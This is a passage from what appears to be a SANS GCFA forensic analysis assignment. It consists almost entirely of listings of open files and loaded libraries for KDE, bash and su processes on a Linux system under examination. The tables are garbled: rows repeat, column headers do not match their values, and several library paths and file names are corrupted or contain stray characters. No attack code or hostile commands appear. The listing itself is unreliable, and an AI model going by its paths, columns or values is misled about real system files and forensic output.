</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>25997</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>440426</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13606</td>
<td>65672</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>25997</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>440426</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>13280</td>
<td>65499</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>16097</td>
<td>65399</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>7644546</td>
<td>262818</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>79690</td>
<td>65976</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>39778</td>
<td>65338</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>31520</td>
<td>16983</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>36360</td>
<td>33159</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>136115</td>
<td>16964</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td></td>
<td></td>
<td>mem REG 3,2</td>
<td>212159</td>
<td>16964</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Flags</td>
<td>Priority</td>
<td>Start Address</td>
</tr>
<tr>
<td>---------------------</td>
<td>---------</td>
<td>-------</td>
<td>----------</td>
<td>---------------</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>575687</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>932895</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>20666</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>83</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>83610</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>29535</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>116560</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>136415</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>49642</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>111650</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>6996</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>425497</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>83610</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>29535</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>51787</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>197376</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>116560</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>136415</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>425497</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>111650</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>6996</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>425497</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>111650</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>6996</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>425497</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>111650</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

page 124

kdeinit 1223 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 1223 userid1 mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
kdeinit 1223 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 1223 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 1223 userid1 mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
kdeinit 1223 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 1223 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 1223 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 1223 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1223 userid1 mem REG 3,2 10902 16965 /usr/X11R6/lib/X11/locale/common/xicDef.so.2
kdeinit 1223 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 293441 65743 /usr/lib/libparts-gcc2.96.so.2.0.0
kdeinit 1223 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkicio-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdefx-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 1223 userid1 mem REG 3,2 133032 65706 /socketlib/libkdesu-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkddenode-gcc2.96.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3
kdeinit 1223 userid1 mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
kdeinit 1223 userid1 mem REG 3,2 59778 65358 /usr/lib/libso.so.1.1.3
kdeinit 1223 userid1 mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
kdeinit 1223 userid1 mem REG 3,2 31520 16983 /usr/X11R6/lib/libSM.so.6.0
kdeinit 1223 userid1 mem REG 3,2 81380 16979 /usr/X11R6/lib/libXvfb.so.6.3
kdeinit 1223 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread.so.0.9
kdeinit 1223 userid1 mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdeinit 1223 userid1 mem REG 3,2 52300 16993 /usr/X11R6/lib/libXext.so.6.4
kdeinit 1223 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdeinit 1223 userid1 mem REG 3,2 4264442 65304 /usr/lib/libstdc++.so.4.0.0
kdeinit 1223 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/xicmp.so.2
kdeinit 1223 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 1223 userid1 mem REG 3,5 425497 75899 /tmp/kde-userdir/Ksycocca
kdeinit 1223 userid1 mem REG 3,5 45415 63523 /lib/libms_files-2.2.5.so
kdeinit 1223 userid1 mem REG 3,5 1401027 73730 /lib/i686/libic-c-2.2.5.so
kdeinit 1223 userid1 mem REG 3,5 1 3 9637 /dev/null
kdeinit 1223 userid1 mem REG 3,3 145 32328 /home/userid1/xsession-errors
kdeinit 1223 userid1 mem REG 3,3 145 32328 /home/userid1/xsession-errors
kdeinit 1223 userid1 mem 3u unix Octlcdeo60 2391 /socket
kdeinit 1223 userid1 mem 4u unix Oclee8a 2396 /socket
kdeinit 1223 userid1 mem 5r FIFO 0,5 2411 /pipe
kdeinit 1223 userid1 mem 6w FIFO 0,5 2411 /pipe
kdeinit 1223 userid1 mem 7u unix Oxc151c800 2412 /socket
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Mode</th>
<th>Flags</th>
<th>Address</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 924879</td>
<td>63562</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 173680</td>
<td>130324</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 136415</td>
<td>16964</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 6996</td>
<td>114215</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 42808</td>
<td>16969</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 45415</td>
<td>63547</td>
</tr>
<tr>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1024</td>
<td>2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>txt</td>
<td>REG</td>
<td>3,2 138744</td>
<td>33417</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 89547</td>
<td>65795</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1264081</td>
<td>130359</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 52407</td>
<td>130360</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 3484738</td>
<td>56724</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 5120352</td>
<td>65712</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 168176</td>
<td>65682</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 17328</td>
<td>17011</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 22520</td>
<td>17011</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 2457</td>
<td>130307</td>
</tr>
<tr>
<td>/usr/bin/kalarmd</td>
<td></td>
<td>DIR</td>
<td>REG</td>
<td>3,2 20666</td>
<td>114263</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 171</td>
<td>130311</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 29</td>
<td>130312</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 161</td>
<td>130310</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 83</td>
<td>130314</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 40</td>
<td>130315</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 58</td>
<td>179360</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 292</td>
<td>130313</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 60</td>
<td>130322</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 10902</td>
<td>16965</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 11174</td>
<td>63541</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 44700</td>
<td>65791</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 1962973</td>
<td>65672</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 262818</td>
<td>65640</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 7644546</td>
<td>440426</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 131560</td>
<td>65396</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 59778</td>
<td>65358</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 874476</td>
<td>16985</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 31520</td>
<td>16983</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 81880</td>
<td>16979</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 101902</td>
<td>73734</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 12102</td>
<td>63503</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 52300</td>
<td>16993</td>
</tr>
<tr>
<td>/lib/libatk1-gcc2.96.so.0.0.0</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2 68925</td>
<td>63535</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

Page 129

kdeinit 1232 userid1 mem REG 3,2 426442 65304 /usr/lib/libstdc++.3-2-2-2.10.0.so
kdeinit 1232 userid1 mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
kdeinit 1232 userid1 mem REG 3,5 17335 77372 /lib/i686/libm-2.2.5.so
kdeinit 1232 userid1 mem REG 3,2 110194 65399 /usr/lib/libcups.so.2
kdeinit 1232 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 575687 65982 /usr/lib/libkcon.so.2
bash 1234 userid1 cwd DIR 3,3 4096 32321 /home/userid1
bash 1234 userid1 rtd DIR 3,5 1024 2 /bash
bash 1234 userid1 txt REG 3,5 541096 40973 /bin/bash
bash 1234 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
bash 1234 userid1 mem REG 3,5 11832 63560 /lib/libtermcap.so.2.0.8
bash 1234 userid1 mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Type</th>
<th>Mode</th>
<th>Start</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>0u</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>1u</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>2u</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>255u</td>
<td>CHR</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>cfd</td>
<td>1024</td>
<td>36685</td>
<td>/root</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>rtd</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>txt</td>
<td>19116</td>
<td>41031</td>
<td>/bin/su</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>1582</td>
<td>29</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>5391</td>
<td>43050</td>
<td>/lib/security/pam_rootok.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>23575</td>
<td>63501</td>
<td>/lib/libcrypt-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>12102</td>
<td>63503</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>1225</td>
<td>43057</td>
<td>/lib/security/pam_unix.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>12989</td>
<td>43032</td>
<td>/lib/security/pam_cracklib.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>12015</td>
<td>63568</td>
<td>/lib/libpam_misc.so.0.75</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>22592</td>
<td>130323</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>12471</td>
<td>43053</td>
<td>/lib/security/pam_stack.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>13783</td>
<td>43065</td>
<td>/lib/security/pam_xauth.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>4910</td>
<td>43033</td>
<td>/lib/security/pam_initial誓</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>12989</td>
<td>43034</td>
<td>/lib/security/pam_env.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>14617</td>
<td>43040</td>
<td>/lib/security/pam_limits.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>45415</td>
<td>63523</td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>4617</td>
<td>63531</td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>89424</td>
<td>63507</td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>50425</td>
<td>43057</td>
<td>/lib/security/pam_unix.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>14540</td>
<td>43032</td>
<td>/lib/security/pam_cracklib.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>71016</td>
<td>65265</td>
<td>/usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>mem</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>0u</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>1u</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>su</td>
<td>1266</td>
<td>root</td>
<td>2u</td>
<td>136,1</td>
<td>3</td>
<td>/dev/pts/1</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>cfd</td>
<td>1024</td>
<td>2</td>
<td>/mnt/floppy</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>rtd</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>txt</td>
<td>19116</td>
<td>41031</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1269</td>
<td>root</td>
<td>mem</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Flags</td>
<td>PID</td>
<td>Size</td>
<td>MD5</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>------</td>
<td>-------</td>
<td>-----</td>
<td>------</td>
<td>-----</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1269</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1269</td>
<td>1401027</td>
<td>73730</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1269</td>
<td>136,1</td>
<td>3</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1269</td>
<td>136,1</td>
<td>3</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1269</td>
<td>136,1</td>
<td>3</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>cwd</td>
<td>DIR</td>
<td>6133</td>
<td>4096</td>
<td>32321</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>rtd</td>
<td>DIR</td>
<td>6133</td>
<td>1024</td>
<td>2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>txt</td>
<td>REG</td>
<td>6133</td>
<td>36360</td>
<td>33359</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>89547</td>
<td>63490</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>2457</td>
<td>130317</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>20666</td>
<td>114263</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>371</td>
<td>130311</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>40</td>
<td>130315</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>58</td>
<td>179360</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>6133</td>
<td>292</td>
<td>130313</td>
